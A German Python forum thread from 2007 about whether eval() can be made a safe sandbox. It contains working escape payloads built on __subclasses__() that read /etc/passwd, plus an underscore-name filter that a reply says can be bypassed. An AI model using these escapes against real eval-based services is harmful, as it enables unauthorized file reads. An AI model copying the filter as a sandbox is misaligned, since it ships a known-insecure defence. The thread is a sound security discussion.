eval: sandbox, compile, restricted mode

23/09/2007 - 13:17 von r.koebler | Report spam
hi,

eval() ist ja keine sichere sandbox, da z.b. folgendes moeglich ist:



eval( """0 .__class__.__base__.__subclasses__()[16]""", {'__builtins__':None} )






<type 'file'>



eval( """0 .__class__.__base__.__subclasses__()[16]("/etc/passwd")""" )






<open file '/etc/passwd', mode 'r' at ...>
(evtl. ist bei euch index in ...__subclasses__()[index] anders.)

dazu habe ich 2 fragen:


1.
anscheinend gibt es einen "restricted mode":



eval( """0 .__class__.__base__.__subclasses__()[16]""", {'__builtins__':None} )






<type 'file'>
soweit klar, aber:



eval( """0 .__class__.__base__.__subclasses__()[16]("/etc/passwd")""", {'__builtins__':None} )






Traceback (most recent call last):
...
IOError: file() constructor not accessible in restricted mode

leider ist dieser 'restricted mode' aber momentan voellig sinnlos, da
man weiterhin auf beliebige dateien zugreifen kann, z.b. via:



eval("""0 .__class__.__base__.__subclasses__()[8]""", {'__builtins__':None} )






<type 'zipimport.zipimporter'>



eval("""0 .__class__.__base__.__subclasses__()[8]('a.zip')""", {'__builtins__':None} )






<zipimporter object "a.zip">




eval("""0 .__class__.__base__.__subclasses__()[13]""", {'__builtins__':None} )






<class 'site._Printer'>



eval("""0 .__class__.__base__.__subclasses__()[13]('','',["passwd"],["/etc"])()""", {'__builtins__':None} )






root:x:0:0:root:/root:/bin/bash
...

python-version: Python 2.4.4 (#2, Apr 5 2007, 20:11:18)

wisst ihr, was dieser "restricted mode" also soll?
so ein "restricted mode" waere ja ganz nuetzlich, wenn er denn
funktionieren wuerde...



2.
reicht es, einfach den zugriff auf *.__*__ zu verbieten?
das waere ja z.b. mit folgendem moeglich:
def is_this_a_sandbox( expr, locals ):
c = compile(expr, "<string>", "eval")
for i in c.co_names:
if i[0] == '_':
raise NameError( "names beginning with '_' are not
allowed." )
return eval(c, {"__builtins__":None}, locals)



is_this_a_sandbox( """0 .__class__.__base__.__subclasses__()[16]""", {'__builtins__':None} )






Traceback (most recent call last):
...
NameError: names beginning with '_' are not allowed.

ist das dann eine "richtige sandbox"?
oder gibt's da trotzdem noch einen weg 'raus'?


schonmal danke,
Roland
 

Lesen sie die antworten

#1 Marc BlackJack Rintsch
23/09/2007 - 15:16 | Warnen spam
On Sun, 23 Sep 2007 04:17:52 -0700, r.koebler wrote:

2.
reicht es, einfach den zugriff auf *.__*__ zu verbieten?
das waere ja z.b. mit folgendem moeglich:
def is_this_a_sandbox( expr, locals ):
c = compile(expr, "<string>", "eval")
for i in c.co_names:
if i[0] == '_':
raise NameError( "names beginning with '_' are not
allowed." )
return eval(c, {"__builtins__":None}, locals)
is_this_a_sandbox( """0 .__class__.__base__.__subclasses__()[16]""", {'__builtins__':None} )






Traceback (most recent call last):
...
NameError: names beginning with '_' are not allowed.

ist das dann eine "richtige sandbox"?
oder gibt's da trotzdem noch einen weg 'raus'?



Irgendwas mit `gettattr()`, ``chr(95)`` und ``+`` ist dann sicher immer
noch möglich.

Vergiss es einfach.

Ciao,
Marc 'BlackJack' Rintsch

Ähnliche fragen